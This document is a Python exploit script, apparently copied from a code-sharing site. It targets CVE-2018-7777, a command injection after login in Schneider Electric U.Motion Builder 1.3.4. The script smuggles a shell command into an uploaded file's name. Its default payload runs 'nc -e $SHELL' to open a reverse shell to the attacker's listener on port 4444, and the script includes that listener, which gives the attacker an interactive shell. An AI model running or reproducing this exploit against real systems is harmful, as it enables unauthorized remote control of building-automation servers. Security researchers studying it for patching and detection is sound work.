扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 |
# Exploit Title: Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection # Date: 2018-08-01 # Exploit Author: Cosmin Craciun # Vendor Homepage: https://www.se.com # Version: <= 1.3.4 # Tested on: Delivered Virtual Appliance running on Windows 10 x64 # CVE : CVE-2018-7777 # References: https://github.com/cosmin91ro #!/usr/bin/oython from __future__ import print_function import httplib import urllib import argparse import re import sys import socket import threading import time parser = argparse.ArgumentParser(description='PoC') parser.add_argument('--target',help='IP or hostname of target', required=True) parser.add_argument('--port',help='TCP port the target app is running', required=True, default='8080') parser.add_argument('--username',help='TCP port the target app is running', required=True, default='admin') parser.add_argument('--password',help='TCP port the target app is running', required=True, default='admin') parser.add_argument('--command', help='malicious command to run', default='shell') parser.add_argument('--src_ip', help='IP of listener for the reverse shell', required=True) parser.add_argument('--timeout', help='time in seconds to wait for a response', type=int, default=3) class Exploiter(threading.Thread): def __init__ (self, target, port, timeout, uri, body, headers, shell_mode): threading.Thread.__init__(self) self.target = target self.port = port self.timeout = timeout self.uri = uri self.body = body self.headers = headers self.shell_mode = shell_mode def send_exploit(self, target, port, timeout, uri, body, headers): print('Sending exploit ...') conn = httplib.HTTPConnection("{0}:{1}".format(target, port), timeout=timeout) conn.request("POST", uri, body, headers) print("Exploit sent") if not self.shell_mode: print("Getting response ...") try: response = conn.getresponse() if not self.shell_mode: print(str(response.status) + " " + response.reason) data = response.read() if not self.shell_mode: print('Response: {0}\r\nCheck the exploit result'.format(data)) except socket.timeout: if not self.shell_mode: print("Connection timeout while waiting response from the target.\r\nCheck the exploit result") def run(self): self.send_exploit(self.target, self.port, self.timeout, self.uri, self.body, self.headers) class Listener(threading.Thread): def __init__(self, src_ip): threading.Thread.__init__(self) self.src_ip = src_ip def run(self): self.listen(self.src_ip) def listen(self, src_ip): TCP_IP = src_ip TCP_PORT = 4444 BUFFER_SIZE = 1024 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((TCP_IP, TCP_PORT)) print("Listener open on port {0}".format(TCP_PORT)) s.listen(1) conn, addr = s.accept() print('Exploited: ' + str(addr)) while 1: comm = raw_input("shell$ ").strip() if comm == "quit": conn.close() sys.exit(0) if comm != "": conn.send(comm + " 2>&1" + "\x0a") while 1: data = conn.recv(BUFFER_SIZE) if not data: break print(data, end="") if "\x0a" in data: break except Exception as ex: print("Could not start listener") print(ex) def login(target, port, username, password): uri = "http://{0}:{1}/umotion/modules/system/user_login.php".format(target, port) params = urllib.urlencode({ 'username': username, 'password': password, 'rememberMe': '1', 'context': 'configuration', 'op': 'login' }) headers = { "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*" } try: conn = httplib.HTTPConnection("{0}:{1}".format(target, port)) conn.request("POST", uri, params, headers) response = conn.getresponse() print(str(response.status) + " " + response.reason) data = response.read() except socket.timeout: print("Connection timeout while logging in. Check if the server is available") return cookie = response.getheader("Set-Cookie") #print(cookie) r = re.match(r'PHPSESSID=(.{26});.*loginSeed=(.{32})', cookie) if r is None: print("Regex not match, could not get cookies") return if len(r.groups()) < 2: print("Error while getting cookies") return sessid = r.groups()[0] login_seed = r.groups()[1] return sessid, login_seed conn.close() def encode_multipart_formdata(fields, files): LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] for (key, value) in fields: L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) for (key, filename, value) in files: L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: application/x-gzip') L.append('') L.append(value) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % LIMIT return content_type, body def exploit(target, port, username, password, command, timeout): uri = "http://{0}:{1}/umotion/modules/system/update_module.php".format(target, port) fields = [ ('choose_update_mode', 'MANUAL'), ('add_button', '0'), ('format', 'json'), ('step', '2'), ('next', '1'), ('name_update_file', ''), ('path_update_file', ''), ('type_update_file', '') ] listener = None if command == "shell": shell_mode = True command = "nc -e $SHELL {0} 4444".format(args.src_ip) listener = Listener(args.src_ip) listener.start() time.sleep(3) else: shell_mode = False files = [ ('update_file', 'my;{0};file.tar.gz'.format(command), "\x1f\x8b") ] content_type, body = encode_multipart_formdata(fields, files) if not shell_mode or (shell_mode and listener and listener.isAlive()): print('Logging in ...') sess_id, login_seed = login(target, port, username, password) if sess_id is None or login_seed is None: print('Error while logging in') return print('Logged in ! ') headers = { 'Accept': 'application/json,text/javascript,*/*; q=0.01', 'Accept-Encoding': 'gzip,deflate', 'Referer': 'http://{0}:{1}/umotion/modules/system/externalframe.php?context=configuration'.format(target, port), 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': len(body), 'Content-Type': content_type, 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID={0}; loginSeed={1}'.format(sess_id, login_seed) } exploiter = Exploiter(target, port, timeout, uri, body, headers, shell_mode) exploiter.start() if __name__ == '__main__': args = parser.parse_args() exploit(args.target, args.port, args.username, args.password, args.command, args.timeout) |
体验盒子
